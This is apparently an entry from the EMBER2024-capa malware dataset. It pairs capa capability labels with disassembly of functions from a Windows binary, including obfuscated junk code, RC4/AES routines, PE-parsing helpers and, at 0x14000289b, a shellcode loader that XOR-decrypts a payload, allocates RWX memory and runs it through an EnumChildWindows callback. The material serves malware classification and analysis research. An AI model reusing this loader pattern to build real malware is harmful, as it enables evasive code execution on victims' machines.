joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14027dc53
Capabilities:
Parse pe header

Disassembly:
xor r9d, r8d
call fcn.14018dcf4
xor ecx, r10d
inc ecx
not ecx
movzx edi, dx
call fcn.14016d942
call fcn.1402ada28
xor r8w, di
or al, byte [rsp + rdx - 0x63e175f8]
lea rdi, [rsp + rdi + 0x18]
shl ebx, 0xc7
neg r9d
mov rbx, qword [rdx + rdi - 0x63e17600]
shr byte [rsp + r9 - 0x1c49898e], 0xc1
lea rsi, [rdx + rsi - 0x63e17608]
dec word [rsp + r9 - 0x1c49898b]
sar qword [rsp + r9 - 0x1c498991], 0x98
mov qword [rsi + r9*4 - 0x71262684], rbx
pop rbx
pop r9
pop rcx
js fcn.1402f3ecb
mov ebp, edx
jae 0x1402ad67b
inc eax
mov r11, qword [r11]
inc bx
shr bp, 0xe6
pop rbp
pop rcx
jb fcn.1401f34f6
shl qword [rsp + rdx - 0x43ab228b], cl
neg ecx
xor qword [rsp + rdx - 0x43ab228b], r11
ret
mov r9d, dword [r10 + rax - 0x7c90d5bd]
jl 0x1401a7b04
add r9, rsi
sub dl, byte [rsp + 1]
jl 0x1402268cd
movzx ebp, word [rsp + rax - 0x7bae0000]
dec ecx
xor ecx, 0x88bda52b
mov qword [rsp + rax - 0x7bae0002], rsi
call fcn.14028768c
sbb di, 0x6384
pop rbp
shr dword [rsp + 4], 0xfa
xor eax, 0x2a0f1633
not di
dec al
sbb edx, 0x52ac6b10
inc di
xchg cx, dx
ror di, 1
movsx ebx, cx
add di, 0x1b0b
jmp 0x1401e90c4
lea rsi, [rsi + rcx - 0x1b]
sbb dword [rsp + rcx - 0x27], edi
mov byte [rsp + rcx*2 - 0x4e], ch
mov dword ss:[rbx + rcx - 0x27], eax
jns 0x140239166

Function at 0x14028e688
Capabilities:
Encode data using base64

Disassembly:
xor dword [rsp + rsi + 8], ecx
sal edx, 0xe4
mov rbp, qword [rsp + rsi*2 + 8]
or di, r11w
push rsi
ror rdx, 0xe3
movsxd rcx, ecx
push rdi
sub bx, word [rsp + rsi*4 + 3]
adc r8, rcx
not byte [rsp + rsi*4]
push rbx
mov qword [rsp + rsi], r8
ret 0x20
xor ecx, ebp
ror ecx, 3
sub si, bx
push rdi
dec ecx
xor bl, 0xa2
dec r11
shr rsi, 0xe4
xor ecx, 0x83142509
and si, r11w
bswap ecx
mov qword [rsp + rsi + 8], rbp
jns 0x14017c831
inc bp
xor ebx, ebx
dec eax
bswap eax
not sil
call fcn.140284c7b

Function at 0x1402c5399
Capabilities:
Parse pe header

Disassembly:
xchg qword [rsp + rsi - 0x4c2d], rcx
not qword [rsp + rdx - 0x39af7007]
mov qword [rbx + rdx - 0x39af701f], r11
mov dword [rsp + rdx*2 - 0x735ee033], ebp
movzx r11d, dx
pop rdx
pop r11
pop rsi
pop rdi
jae fcn.1402ee342

Function at 0x1402c9a90
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + rcx - 0x7a9f3bd5], rbp
add r11, rdx
call fcn.1401f4254

Function at 0x1402c9aa0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + rsi - 0x3f95c602], 0x22852a88
sar eax, cl
sbb di, 0xe53e
or ax, 0xdbab
jnp 0x1402c5303
mov qword [rsp + rsi - 0x3f95c60a], rax
xor di, 0x75a1
rol qword [rsp + rsi - 0x3f95c602], cl
rol di, 1
not di
jmp 0x14026ef9b
Function at 0x1402d80b3
Capabilities:
Encode data using base64

Disassembly:
ror dil, 1
neg dil
mov qword [rsp + r10*8 - 0x24160], 0x4b3e1c1e
lea rcx, [rax + rbp - 0x1348d669]
xor dil, 0x12
xor byte [rsp + r10*2 - 0x9045], r10b
xor r11b, dil
call fcn.1401be098
sar rsi, 0x5d
sbb r10d, ebx
xor dword [rsp + rdx - 0x3f000000], edi
sal ecx, 0x8d
xadd r10w, bx
pop r8
sub esi, 0xf99389a2
call fcn.140154a41
mov ecx, dword [r9]
add r9, 4
xor ecx, r10d
ror ecx, 1
mov edi, 0x1aa0fb9b
inc ecx
call fcn.14029bf3f
push 0x513c2c89
movzx ecx, byte [r8]
xor word [rsp + 1], 0x4026
adc r8, 1
xor cl, bpl
xor cl, 0x84
mov ebx, 0x5f25799c
rol cl, 1
lea r11, [rbx*4 - 0x595849d0]
not cl
add cl, 0xa
xor cl, 0xb2
movzx edi, r11w
shr r11w, 0xa5
xor bpl, cl
or byte [rsp + rdi - 0x9c9b], r11b
inc word [rsp + rdi - 0x9c9c]
lea rcx, [rsp + rcx + 8]
jl 0x1401e6dce
xor ebp, r8d
neg ebp
call fcn.1401925d5

Function at 0x1402e1a7a
Capabilities:
Authenticate hmac

Disassembly:
sar byte [rsp + rbx*2 + 0xf], 0xe4
mov word [r11 + rbx], dx
pop rsi
lea r9, [r9 + rbx - 4]
push rbx
mov r10d, ebx
xor ecx, dword [rcx + r9]
xor ecx, r8d
rol dword [rsp + rbx*2 + 0xa], 0xd0
mov edx, ebx
adc eax, dword [rsp + rbx*4 + 9]
neg ecx
neg eax
sbb qword [rsp + rbx + 4], rbx
not ecx
or word [rsp + rax*2 - 0x6f962342], bx
ror ecx, 3
movzx edi, word [rsp + rbx + 4]
xor r10b, al
jbe fcn.1401c6db6
xor ecx, 0xfd065a93
sub ecx, 0xb0aaf489
call fcn.140137faf

Function at 0x1402e3d67
Capabilities:
Resolve function by parsing pe exports

Disassembly:
bswap ecx
adc word [rsp + rax - 0x1fcf], dx
sal r11w, 1
dec ecx
rol byte [rsp + rdi - 0x709b131a], 4
mov qword [rsp + rax - 0x1fcf], rbp
movzx ebp, dil
jae 0x140217e18
xor dword [rsp + rdi - 0x709b131f], ecx
lea r10, [rdx + rdx*2 + 0xc9b200a]
push rdx
mov rbp, qword [rsp + rdi - 0x709b1317]
not r10b
movsxd rcx, ecx
add rsi, rcx
push r10
mov rax, qword [rdi + r9 - 0x709b131f]
mov di, word [rax + rdi - 0x709b131f]
mov qword [rsp + 0x10], rdx
add r9, 6
mov word [r9], di
or word [rsp + 0x12], r10w
ja 0x140271939
mov qword [rsp], r11
xor ecx, ebp
not word [rsp + 5]
sar dword [rsp + 4], 0xd3
bswap ecx
mov edi, 0x709b1311
lea ecx, [r11 + rcx + 0x77f5108]
movsx eax, word [rsp + rdi - 0x709b130e]
xchg byte [rsp + rax - 0x1fcb], dil
jnp 0x1401b0646
Function at 0x1402e3ddc
Capabilities:
Manually build aes constants

Disassembly:
call fcn.140177933
mov ebp, dword [r10]
xor ebp, r8d
mov eax, 0x568b7d27
mov r9d, eax
bswap ebp
shr al, 0xc4
mov edx, r9d
dec ebp
mov edi, edx
ror r9d, 0x1d
rol ebp, 3
xadd r9w, di
inc ebp
push r8
dec r9b
movzx r8d, r9b
mov ebx, r9d
xor dword [rsp + rdx - 0x568b7d27], ebp
xor eax, 0x8136e0a
cmovno eax, ebx
jge 0x14027b9c4
mov rcx, qword [rdi]
mov eax, 0x75b52205
movzx ax, byte [rax + rcx - 0x75b52205]
mov edx, 0x37998fb8
mov r10d, 0x53243692
lea rdi, [rdi + rdx - 0x37998fb2]
mov word [rdi + rdx*2 - 0x6f331f70], ax
xadd r10b, dl
sub edx, r10d
jno 0x1401e78b1
lea r8, [r8 + r10 - 0x5324364e]
jno 0x14024c211
neg bp
shr rbx, 0x22
xor si, bp
mov qword [rsp + rax - 0x7ebdaaa5], 0x430618a
shl word [rsp + r9 + 2], 0xac
lea rbp, [rsp + rbp + 8]
xor eax, ebx
sar rbx, cl
mov rax, qword [rbp + rax - 0x7ebdaaa5]
or edx, 0x2b98720c
add qword [rsp + r9*2 - 2], r10
lea rdi, [r9 + rdi - 9]
mov qword [rdi + r9 - 1], rax
lea r8, [r8 + r9*8 - 0xc]
mov ebp, dword [r8 + r9*4 - 4]
pop r10
xor ebp, esi
sub ebp, r9d
add r10d, 0x3797900b
neg ebp
jmp 0x140135419
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140006820]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140006830]
mov dword [rax], 1
mov rax, qword [0x140006840]
mov dword [rax], 1
mov rax, qword [0x1400067c0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140006810]
mov dword [0x14000900c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400068f0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400068d0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140006750]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x14000179e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov eax, ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov byte [rbp + 0x10], al
mov byte [rbp - 1], 0
jmp 0x140001836
mov byte [rbp - 2], 0
jmp 0x14000182c
movzx eax, byte [rbp - 1]
movzx edx, byte [rbp - 2]
mov rcx, qword [rbp + 0x18]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx r8d, byte [rax]
movzx eax, byte [rbp + 0x10]
lea edx, [rax*4]
movzx eax, byte [rbp - 1]
add eax, edx
lea edx, [rax*4]
movzx eax, byte [rbp - 2]
add eax, edx
cdqe
mov rdx, qword [rbp + 0x20]
add rax, rdx
movzx edx, byte [rax]
movzx eax, byte [rbp - 1]
movzx ecx, byte [rbp - 2]
xor edx, r8d
mov r8, qword [rbp + 0x18]
movsxd rcx, ecx
cdqe
shl rax, 2
add rax, r8
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x1400017bf
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x1400017b9
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140001848
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0
jmp 0x1400018bb
mov byte [rbp - 2], 0
jmp 0x1400018b1
movzx eax, byte [rbp - 2]
movzx edx, byte [rbp - 1]
mov rcx, qword [rbp + 0x10]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
movzx r8d, byte [rbp - 2]
movzx ecx, byte [rbp - 1]
cdqe
lea rdx, str.cw
movzx edx, byte [rax + rdx]
mov r9, qword [rbp + 0x10]
movsxd rcx, ecx
movsxd rax, r8d
shl rax, 2
add rax, r9
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x140001860
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x14000185a
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140002357
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0
jmp 0x1400023ca
mov byte [rbp - 2], 0
jmp 0x1400023c0
movzx eax, byte [rbp - 2]
movzx edx, byte [rbp - 1]
mov rcx, qword [rbp + 0x10]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
movzx r8d, byte [rbp - 2]
movzx ecx, byte [rbp - 1]
cdqe
lea rdx, [0x140006100]
movzx edx, byte [rax + rdx]
mov r9, qword [rbp + 0x10]
movsxd rcx, ecx
movsxd rax, r8d
shl rax, 2
add rax, r9
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x14000236f
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x140002369
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x14000261d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov byte [rbp - 1], 0
jmp 0x140002666
movzx eax, byte [rbp - 1]
mov rdx, qword [rbp + 0x10]
add rax, rdx
movzx r8d, byte [rax]
movzx eax, byte [rbp - 1]
mov rdx, qword [rbp + 0x18]
add rax, rdx
movzx ecx, byte [rax]
movzx eax, byte [rbp - 1]
mov rdx, qword [rbp + 0x10]
add rdx, rax
mov eax, r8d
xor eax, ecx
mov byte [rdx], al
add byte [rbp - 1], 1
cmp byte [rbp - 1], 0xf
jbe 0x140002633
nop
nop
add rsp, 0x10
pop rbp
ret
Function at 0x14000278d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov dword [rbp - 0xc], 0x10
jmp 0x140002885
cmp dword [rbp - 0xc], 0x10
jne 0x140002851
mov rax, qword [rbp + 0x10]
add rax, 0xb0
mov rdx, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rdx, qword [rbp + 0x10]
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.Cipher_unsigned_char_____4__4___unsigned_char_const_
mov dword [rbp - 0xc], 0xf
jmp 0x140002844
mov rdx, qword [rbp + 0x10]
mov eax, dword [rbp - 0xc]
cdqe
movzx eax, byte [rdx + rax + 0xb0]
cmp al, 0xff
jne 0x140002819
mov rdx, qword [rbp + 0x10]
mov eax, dword [rbp - 0xc]
cdqe
mov byte [rdx + rax + 0xb0], 0
jmp 0x140002840
mov rdx, qword [rbp + 0x10]
mov eax, dword [rbp - 0xc]
cdqe
movzx eax, byte [rdx + rax + 0xb0]
add eax, 1
mov rcx, qword [rbp + 0x10]
mov edx, dword [rbp - 0xc]
movsxd rdx, edx
mov byte [rcx + rdx + 0xb0], al
jmp 0x14000284a
sub dword [rbp - 0xc], 1
cmp dword [rbp - 0xc], 0
jns 0x1400027f1
mov dword [rbp - 0xc], 0
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp - 0xc]
cdqe
movzx ecx, byte [rbp + rax - 0x20]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
add rdx, rax
mov eax, r8d
xor eax, ecx
mov byte [rdx], al
add qword [rbp - 8], 1
add dword [rbp - 0xc], 1
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x20]
jb 0x1400027b5
nop
nop
add rsp, 0x40
pop rbp
ret

Function at 0x14000289b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push rbp
sub rsp, 0x200
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp - 0x50]
lea rdx, [0x140006210]
mov ecx, 0x1b3
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov byte [rbp + 0x17f], 0xa
mov dword [rbp + 0x178], 0x1b3
mov ecx, dword [rbp + 0x178]
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x60]
mov r8d, ecx
mov rcx, rax
call method.Shellcode.Shellcode_unsigned_char__int_
movzx edx, byte [rbp + 0x17f]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.Shellcode.XOR_decrypt_unsigned_char_
mov qword [rbp + 0x170], rax
mov eax, dword [rbp + 0x178]
cdqe
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x168], rax
mov eax, dword [rbp + 0x178]
movsxd rcx, eax
mov rdx, qword [rbp + 0x170]
mov rax, qword [rbp + 0x168]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x168]
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_EnumChildWindows]
call rax
mov eax, 0
add rsp, 0x200
pop rbp
ret
Function at 0x140002c90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140002d00
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140009094]
test esi, esi
mov rbx, rcx
jle 0x140002e30
mov rax, qword [0x140009098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002d4b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002dd5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002d30
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140002e52
mov rax, qword [0x140009098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140009098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002e37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002dce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002de0
add dword [0x140009094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140009098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002dce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002d58
mov rax, qword [0x140009098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400033c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400090e0]
test rbx, rbx
je 0x14000341c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003413
test rsi, rsi
je 0x140003413
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400033f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003630
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop

Function at 0x140003640
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop

Function at 0x140003650
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140003668
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140003670
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140003680
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x1400036cd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x1400036c4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400036cf
add rax, 0x28
cmp rax, r9
jne 0x1400036b0
xor eax, eax
ret

Function at 0x1400036d0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140003760
mov rdx, qword [0x1400067c0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000374e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000374e
cmp word [rax + 0x18], 0x20b
jne 0x14000374e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140003760
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140003739
add rbx, 0x28
cmp rbx, rdi
je 0x140003760
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140003730
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140003770
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400067c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003790
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003798
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003790
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400037ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400037e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003790
add rax, 0x28
cmp rax, r9
jne 0x1400037d0
xor eax, eax
ret

Function at 0x1400037f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400067c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000380f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003818
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000380f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140003830
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400067c0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140003850
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140003858
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140003850
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x1400038a0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140003897
test rcx, rcx
je 0x140003850
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140003888
xor eax, eax
ret

Function at 0x1400038b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400067c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400038cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400038d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400038f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400067c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003910
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003918
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003910
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x140003910
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140003964
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140003970
add rdx, 0x28
cmp r9, rdx
jne 0x140003950
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140003980
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400067c0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400039a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400039b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400039a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400039a2
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x1400039a2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140003a05
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140003a18
add rdx, 0x28
cmp rdx, r10
jne 0x1400039f0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140003a27
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140003a37
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140003a0e
test ecx, ecx
jg 0x140003a20
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret